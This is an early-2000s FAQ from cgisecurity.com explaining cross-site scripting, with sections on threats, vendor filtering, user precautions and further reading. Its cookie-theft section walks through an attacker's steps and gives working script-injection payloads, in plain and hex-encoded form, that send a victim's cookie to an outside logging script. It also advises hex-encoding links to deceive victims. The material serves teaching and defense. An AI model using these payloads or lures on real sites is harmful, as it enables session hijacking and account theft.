The Cross-Site Scripting (XSS) FAQ

Original Document Location:
http://www.cgisecurity.com/xss-faq.html

Revised 8/03

Introduction
What is Cross Site Scripting?
What does XSS and CSS mean?
What are the threats of Cross Site Scripting?
What are some examples of cross site scripting attacks?
Can you show me what cookie theft looks like?
What can I do to protect myself as a vendor?
What can I do to protect myself as a user?
How common are CSS/XSS holes?
Does encryption protect me?
Can CSS/XSS holes allow command execution?
What if I don't feel like fixing a CSS/XSS Hole?
What are some links I can visit to help me further understand XSS?

Introduction

Websites today are more complex than ever, containing a lot of dynamic content making the experience for the user more enjoyable. Dynamic content is achieved through the use of web applications which can deliver different output to a user depending on their settings and needs. Dynamic websites suffer from a threat that static websites don't, called "Cross Site Scripting" (or XSS dubbed by other security professionals). Currently small informational tidbits about Cross Site Scripting holes exist but none really explain them to an average person or administrator. This FAQ was written to provide a better understanding of this emerging threat, and to give guidance on detection and prevention.

"What is Cross Site Scripting?"

  Cross site scripting (also known as XSS) occurs when a web application gathers malicious data from a user. The data is usually gathered in the form of a hyperlink which contains malicious content within it. The user will most likely click on this link from another website, instant message, or simply just reading a web board or email message. Usually the attacker will encode the malicious portion of the link to the site in HEX (or other encoding methods) so the request is less suspicious looking to the user when clicked on. After the data is collected by the web application, it creates an output page for the user containing the malicious data that was originally sent to it, but in a manner to make it appear as valid content from the website. Many popular guestbook and forum programs allow users to submit posts with html and javascript embedded in them. If for example I was logged in as "john" and read a message by "joe" that contained malicious javascript in it, then it may be possible for "joe" to hijack my session just by reading his bulletin board post. Further details on how attacks like this are accomplished via "cookie theft" are explained in detail below.

"What does XSS and CSS mean?"

  Often people refer to Cross Site Scripting as CSS. There has been a lot of confusion with Cascading Style Sheets (CSS) and cross site scripting. Some security people refer to Cross Site Scripting as XSS. If you hear someone say "I found a XSS hole", they are talking about Cross Site Scripting for certain.

"What are the threats of Cross Site Scripting?"

Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable application to fool a user (Read below for further details) in order to gather data from them. Everything from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible. New malicious uses are being found every day for XSS attacks. The post below by Brett Moore brings up a good point with regard to "Denial Of Service", and potential "auto-attacking" of hosts if a user simply reads a post on a message board.

http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html

"What are some examples of cross site scripting attacks?"

  One product with many XSS holes is the popular PHP program PHPnuke. This product is often targeted by attackers to probe for XSS holes because of its popularity. I have included a few links of advisories/reports that have been discovered and disclosed just from this product alone. The following collection should provide plenty of examples.

http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt
http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt
http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt

"Can you show me what XSS cookie theft looks like?"

   Depending on the particular web application some of the variables and positioning of the injections may need to be adjusted. Keep in mind the following is a simple example of an attacker's methodology. In our example we will exploit a cross site scripting hole in a perimeter of "a.php" called "variable" via a normal request. This is the most common type of cross site scripting hole that exists.

Step 1: Targeting

After you have found an XSS hole in a web application on a website, check to see if it issues cookies. If any part of the website uses cookies, then it is possible to steal them from its users.

Step 2: Testing

Since XSS holes are different in how they are exploited, some testing will need to be done in order to make the output believable. By inserting code into the script, its output will be changed and the page may appear broken. (The end result is crucial and the attacker will have to do some touching up in the code to make the page appear normal.) Next you will need to insert some Javascript (or other client side scripting language) into the URL pointing to the part of the site which is vulnerable. Below I have provided a few links that are for public use when testing for XSS holes. These links below, when clicked on will send the users cookie to www.cgisecurity.com/cgi-bin/cookie.cgi and will display it. If you see a page displaying a cookie then session hijacking of the user's account may be possible.

Cookie theft Javascript Examples.
A example of usage is below.

ASCII Usage:

http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>

Hex Usage:

http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

NOTE: The request is first shown in ASCII, then in Hex for copy and paste purposes.

1. "><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>

HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f
%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

2.  <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>

HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b
%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e

3.  ><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>

HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c
%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f
%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e

These are the examples of "evil" Javascript we will be using. These Javascript examples gather the users cookie and then send a request to the cgisecurity.com website with the cookie in the query. My script on cgisecurity.com logs each request and each cookie. In simple terms it is doing the following:

My cookie = user=zeno; id=021
My script = www.cgisecurity.com/cgi-bin/cookie.cgi

It sends a request to my site that looks like this.

GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 (Note: %20 is a hex encoding for a space)

This is a primitive but effective way of grabbing a user's cookie. Logs of the use of this public script can be found at www.cgisecurity.com/articles/cookie-theft.log

Step 3: XSS Execution

Hand out your crafted url or use email or other related software to help launch it. Make sure that if you provide the URL to the user(through email, aim, or other means) that you at least HEX encode it. The code is obviously suspicious looking but a bunch of hex characters may fool a few people.

In my example I only forward the user to cookie.cgi. A attacker with more time could do a few redirects and XSS combo's to steal the user's cookie, and return them to the website without noticing the cookie theft.
Some email programs may execute the Javascript upon the opening of a message or if the Javascript is contained in a message attachment. Larger sites like Hotmail do allow Javascript inside attachments but they do special filtering to prevent cookie theft.

Step 4: What to do with this data

Once you have gotten the user to execute the XSS hole, the data is collected and sent to your CGI script. Now that you have the cookie you can use a tool like Websleuth to see if account hijacking is possible.
This is only a FAQ, not a detailed paper on cookie theft and modification. A new paper released by David Endler of iDefense goes into more detail on some of the ways to automatically launch XSS holes. This paper can be found at http://www.idefense.com/XSS.html.

"What can I do to protect myself as a vendor?"

  This is a simple answer. Never trust user input and always filter metacharacters. This will eliminate the majority of XSS attacks. Converting < and >  to < and > is also suggested when it comes to script output. Remember XSS holes can be damaging and costly to your business if abused. Often attackers will disclose these holes to the public, which can erode customer and public confidence in the security and privacy of your organization's site. Filtering < and > alone will not solve all cross site scripting attacks. It is suggested you also attempt to filter out ( and ) by translating them to &#40; and &#41; , " to &quot; , ' to &#39; , and also # and & by translating them to &#35;(#)  and &amp;  (&). A more complete list of entities can be found at http://tntluoma.com/sidebars/codes/ .

"What can I do to protect myself as a user?"

  The easiest way to protect yourself as a user is to only follow links from the main website you wish to view. If you visit one website and it links to CNN for example, instead of clicking on it visit CNN's main site and use its search engine to find the content. This will probably eliminate ninety percent of the problem. Sometimes XSS can be executed automatically when you open an email, email attachment, read a guestbook, or bulletin board post. If you plan on opening an email, or reading a post on a public board from a person you don't know BE CAREFUL. One of the best ways to protect yourself is to turn off Javascript in your browser settings. In IE turn your security settings to high. This can prevent cookie theft, and in general is a safer thing to do.

"How common are XSS holes?"

  Cross site scripting holes are gaining popularity among hackers as easy holes to find in large websites. Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs.


Every month roughly 10-25 XSS holes are found in commercial products and advisories are published explaining the threat.

"Does encryption protect me?"

  Websites that use SSL (https) are in no way more protected than websites that are not encrypted. The web applications work the same way as before, except the attack is taking place in an encrypted connection. People often think that because they see the lock on their browser it means everything is secure. This just isn't the case.

"Can XSS holes allow command execution?"

  XSS holes can allow Javascript insertion, which may allow for limited execution. If an attacker were to exploit a browser flaw (browser hole) it could then be possible to execute commands on the client's side. If command execution were possible it would only be possible on the client side. In simple terms XSS holes can be used to help exploit other holes that may exist in your browser.

"What if I don't feel like fixing a CSS/XSS Hole?"

  By not fixing an XSS hole this could allow possible user account compromise in portions of your site as they get added or updated. Cross Site Scripting has been found in various large sites recently and have been widely publicized. Left unrepaired, someone may discover it and publish a warning about your company. This may damage your company's reputation, depicting it as being lax on security matters. This of course also sends the message to your clients that you aren't dealing with every problem that arises, which turns into a trust issue. If your client doesn't trust you why would they wish to do business with you?

"What are some links I can visit to help me further understand XSS?"

"Cross-site scripting tears holes in Net security"
http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm

Article on XSS holes
http://www.perl.com/pub/a/2002/02/20/css.html

"CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests"
http://www.cert.org/advisories/CA-2000-02.html

Paper on Removing Meta-characters from User Supplied Data in CGI Scripts.
http://www.cert.org/tech_tips/cgi_metacharacters.html

Paper on Microsoft's Passport System
http://eyeonsecurity.net/papers/passporthijack.html

Paper on Cookie Theft
http://www.eccentrix.com/education/b0iler/tutorials/javascript.htm#cookies

The webappsec mailing list (Visit www.securityfocus for details)
[email protected]

Many Thanks to David Endler for reviewing this document.


Published to the Public May 2002
Copyright May 2002 Cgisecurity.com